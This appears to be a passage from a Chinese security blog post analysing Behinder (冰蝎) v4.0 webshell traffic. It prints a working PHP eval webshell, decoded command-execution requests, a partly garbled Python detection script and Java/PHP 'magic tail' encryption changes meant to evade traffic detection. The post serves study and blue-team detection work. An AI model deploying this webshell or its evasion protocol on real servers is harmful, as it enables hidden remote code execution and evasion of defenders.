$cmd="Y2QgL2QgIkM6XHBocHN0dWR5X3Byb1xXV1dcZGlhZ25vc3RpY18wXGRpYWdub3N0aWNcYXNzZXRzXHVwbG9hZEltYWdlXExvZ29cIiZ3aG9hbWk=";
$cmd=base64_decode($cmd);
$path="QzovcGhwc3R1ZHlfcHJvL1dXVy9kaWFnbm9zdGljXzAvZGlhZ25vc3RpYy9hc3NldHMvdXBsb2FkSW1hZ2UvTG9nby8=";
$path=base64_decode($path);
main($cmd,$path);
$cmd 對應的是 cd /d "C:\phpstudy_pro\WWW\diagnostic_0\diagnostic\assets\uploadImage\Logo\"&whoami
$path 對應的是 C:/phpstudy_pro/WWW/diagnostic_0/diagnostic/assets/uploadImage/Logo/
對應回顯是
{"status":"c3VjY2Vzcw==","msg":"ZGVza3RvcC1xbWNzOWdvXGRydW5rYmFieQ0K"}

一些疑問和改進點
簡單來說,如果作為藍隊,需要嚴格分析的是第三個流量包,也就是命令執行的流量包,這也最容易分析。在學習階段我也思考了具體的幾個點
- ? 1、連馬是如何連上的,看起來 shell.php 需要我們 post 傳入
$data,這一步在流量分析中并沒有抓到。 - ? 2、針對
aes,xor_base64進行加密的防御型腳本檢測。 - ? 3、冰蝎的改寫,是否可以采用新型加密方式。
0x04 冰蝎傳輸與攻防
冰蝎傳輸與連馬&命令執行
- ? 一開始這里我也不太理解,后面在看了冰蝎作者的文章之后恍然大悟,原文鏈接 —— https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A
冰蝎 v4.0 版本不再有連接密碼的概念,你的自定義傳輸協議的算法就是連接密碼。按照冰蝎 3.0 版本當中的密碼依舊是 "rebeyond",但是冰蝎 v4.0 的馬使用蟻劍,以 "rebeyond" 作為密碼是連不上的(親測
在流量層,冰蝎的 aes 特征一直是廠商查殺的重點,在主機層,aes 相關的 API 也是一個強特征。既然是特征,那就一定存在一個一成不變的常量,那我們就把這個特征泛化一下,讓他成為變量。為了一勞永逸解決這個問題,v4.0 版本提供了傳輸協議自定義功能,讓用戶對流量的加密和解密進行自定義,實現流量加解密協議的去中心化。
首先看一下冰蝎Payload流轉的流程圖:

可以分為這五個流程
- ? 1、本地對 Payload 進行加密,然后通過 POST 請求發送給遠程服務端;
- ? 2、服務端收到 Payload 密文后,利用解密算法進行解密;
- ? 3、服務端執行解密后的 Payload,并獲取執行結果;
這三步的基礎是 shell.php,通過 post 請求傳 body
@error_reporting(0);
function decrypt($data)
{
$key="25f9e794323b4538";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>
在第一次傳輸的時候,做了密鑰協商與指紋確認的事情,冰蝎需要先確定你(受攻擊端)確實是能夠和我(本地攻擊者)進行加解密,或者說可以進行數據傳輸,這也就是第一次發包。
對應的代碼如下,這是冰蝎當中 payload/php 下的代碼 ———— Echo.php

- ? 在實際傳輸過程中會發現冰蝎發包時多了一個
encrypt()函數,我后續會對這一現象進行解釋。
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
@session_start(); //初始化session,避免connect之后直接background,后續get result無法獲取cookie
echo encrypt(json_encode($result));
}
function encrypt($data)
{
$key="25f9e794323b4538";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg==";
$content=base64_decode($content);
main($content);
在這一次內容傳輸結束之后,冰蝎確認被攻擊端與本地可以建立傳輸,才會發第二次包,也就是執行 phpinfo() 命令,代碼略。
接著
- ? 4、服務端對 Payload 執行結果進行加密,然后返回給本地客戶端;
- ? 5、客戶端收到響應密文后,利用解密算法解密,得到響應內容明文。
響應內容略,在上文中已經提到過。
由上述流程可知,一個完整的傳輸協議由兩部分組成,本地協議和遠程協議。由于客戶端使用 Java 開發,因此本地協議的加解密算法需要用 Java 實現。遠程協議根據服務端語言類型,可能為 Java、PHP、C#、ASP。無論用哪種語言,同一個名稱的傳輸協議,本地和遠程的加解密邏輯應該是一致的,這樣才能實現本地加密后,遠程可以成功解密,遠程加密后,本地同樣也可以解密。
如下是一個最簡單的 php 版本的傳輸協議:

傳輸協議的加解密函數名稱分別為 Encrypt 和 Decrypt,且都只有一個入參,參數類型為二進制字節流。這也就是為什么在 shell.php 中存在一個 Decrypt() 函數,且每一次的發包中有 encrypt() 函數的原因。如此一來就實現了這一個條件 ———— 本地有一對加解密的函數,由 Java 編寫;遠程端(受攻擊端)存在一對加解密的函數,由對應遠程端的語言決定,如果是 php 就是由 php 編寫,若是 asp 就由 asp 編寫(親測如此)
針對冰蝎 xor_base64 的檢測腳本編寫
內容是基于 LiRiu 師傅的文章寫的
- ? 我認為的腳本編寫,不應該是針對某個 User-Agent 或者是 Payload 開頭等進行單一的判斷,為了很多正常請求的通過,這些判斷一定是需要綜合考慮的。
因此合理的方式應該是記分的,判斷惡意性的大小。我們先來看冰蝎在第二次連接的時候,也就是請求 phpinfo() 時的包
針對一些 HTTP 頭的檢測

HTTP 請求頭
它的幾個 Accept 頭通常是固定的,所以這里可以作為一個主判斷點
Accept: application/json, text/javascript, */*; q=0.01 Accept-Encoding: identity Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
有的師傅說冰蝎 4.0 當中的 UA 是十選一的,我覺得這里占比相當小,并不需要將 UA 加入進判斷規則當中。
Content-Length 較大
Content-Length: 8244
可以作為輔助特征進行檢測。
冰蝎通訊默認使用長連接
造成的影響是包中存在如下 HTTP 頭,可以作為輔助特征進行檢測。
Connection: Keep-Alive
端口檢測
冰蝎與 webshell 建立連接的同時,javaw 也與目的主機建立 tcp 連接,每次連接使用本地端口在 49700 左右,每連接一次,每建立一次新的連接,端口就依次增加。此處可以對符合該范圍內的端口告警。
針對惡意腳本內容的檢測
冰蝎 shell 當中的惡意 php 腳本,頭都是一樣的,以 @error_reporting 開頭
@error_reporting(0); function main

所以對于這一段,個人認為是可以作為主要檢測規則的,所以此處需要先寫一個 xor_base64,單純檢測惡意腳本的 python 程序如下
from base64 import b64decode
phrases = [
"assert|eval(base64_decode('".encode(),
b',
b',
b',
b'error_reporting(0);function m',
b',
b',
b'@error_reporting(0);function ma',
b',
b",
b'@error_reporting(0);function g',
b',
]
def xor(l0, l1):
ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a,b in zip(l0,l1)]
return "".join(ret)
def check(cipher):
cipher = b64decode(cipher)
for phrase in phrases:
p0 = phrase[0:16]
p1 = phrase[16:]
c0 = cipher[0:16]
c1 = cipher[16:16+len(p1)]
k0 = xor(p0, c0)
k1 = xor(p1, c1)
if k1 in k0:
return k0
return None
cipher = "..."
HeaderData = "..."
key = check(cipher)
if key:
print("[+]", cipher[:32], "is XOR Behinder Request!")
print("[+] The Key of Behinder is ", key)
else:
print("[-]", cipher[:32], "not Behinder Request..")
接著加上輔助判斷
def auxiliaryPoints(HeaderData): # 輔助判斷的函數 evilPoint = 0 list = [] LightBlacklist = [ b'Accept: application/json, text/javascript, */*; q=0.01', b'Accept-Encoding: identity', b'Connection: Keep-Alive', ] for temp in HeaderData: list.append(temp) lenData = 0 while lenData <= HeaderData.length(): if(list[lenData].contains(LightBlacklist)): evilPoint = evilPoint + 10 return evilPoint

LiRiu 師傅的可以,但是我自己的包失敗了。。
冰蝎馬的改寫與繞過 tips
冰蝎作者提出了一種非常巧妙的繞過方式,也就是在 AES 加密的時候增加一個小尾巴,這個尾巴存在自定義的可能性,也就讓很多設備難以進行檢測了。
加密算法
本地默認的 aes 傳輸協議加密算法如下:
private byte[] Encrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
byte[] raw = key.getBytes("utf-8");
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/補碼方式"
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
byte[] encrypted = cipher.doFinal(data);
Class baseCls;
try
{
baseCls=Class.forName("java.util.Base64");
Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
}
catch (Throwable error)
{
baseCls=Class.forName("sun.misc.BASE64Encoder");
Object Encoder=baseCls.newInstance();
String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
result=result.replace("", "").replace("\r", "");
encrypted=result.getBytes();
}
return encrypted;
}
服務端是 PHP,使用默認的 aes 算法,但是由于默認使用的是 aes128 的算法,會導致密文長度恒是 16 的整數倍,流量設備可能通過這個特征來對冰蝎做流量識別,我現在想對默認算法做一個簡單修改,在密文最后最加一個 magic 尾巴,隨機產生一個隨機長度的額外字節數組
修改后本地:
private byte[] Encrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
byte[] raw = key.getBytes("utf-8");
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/補碼方式"
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
byte[] encrypted = cipher.doFinal(data);
Class baseCls;
try
{
baseCls=Class.forName("java.util.Base64");
Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
}
catch (Throwable error)
{
baseCls=Class.forName("sun.misc.BASE64Encoder");
Object Encoder=baseCls.newInstance();
String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
result=result.replace("", "").replace("\r", "");
encrypted=result.getBytes();
}
//增加魔法尾巴
int magicNum=Integer.parseInt(key.substring(0,2),16)%16;
java.util.Random random=new java.util.Random();
byte[] buf=new byte[magicNum];
for (int i=0;i {
buf[i]=(byte)random.nextInt(256);
}
java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();
output.write(encrypted);
output.write(buf);
return output.toByteArray();
}
遠程
由于我們目前假設的是一個 PHP 的目標環境,遠程加密函數采用 PHP 格式編寫,如下:
function Encrypt($data)
{
$key="e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond
$encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));
$magicNum=hexdec(substr($key,0,2))%16; //根據密鑰動態確定魔法尾巴的長度
for($i=0;$i<$magicNum;$i++) {
$encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴
}
return $encrypted;
}
解密算法
在加密算法中,我們在原版 aes 的基礎上,在密文最后追加了一段魔法尾巴,尾巴長度為秘鑰的前兩位十六進制對應的數值對 16 取模的值。在解密時,我們只需要在原版 aes 解密函數的基礎上,把密文最后的尾巴截掉即可。分別對 Java 版本和 PHP 版本的解密函數做修改。
本地
private byte[] Decrypt(byte[] data) throws Exception
{
String k="e45e329feb5d925b";
int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail長度
data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
return c.doFinal(decodebs);
}
遠程
function Decrypt($data)
{
$key="e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond
$magicNum=hexdec(substr($key,0,2))%16; //取magic tail長度
$data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
從理論上來說,這一種方式也可以繞過 xor_base64 的檢測
0x05 小結
對于冰蝎 4.0 版本的分析大部分還是由自己獨立完成,在還沒有看作者寫的內容的時候就意識到了傳輸協議的本質,冰蝎 4.0 寫的確實非常厲害。
而在作者的文章當中也提供了很有啟發性的思維 ———— 盡量以算法的方式改寫冰蝎的攻擊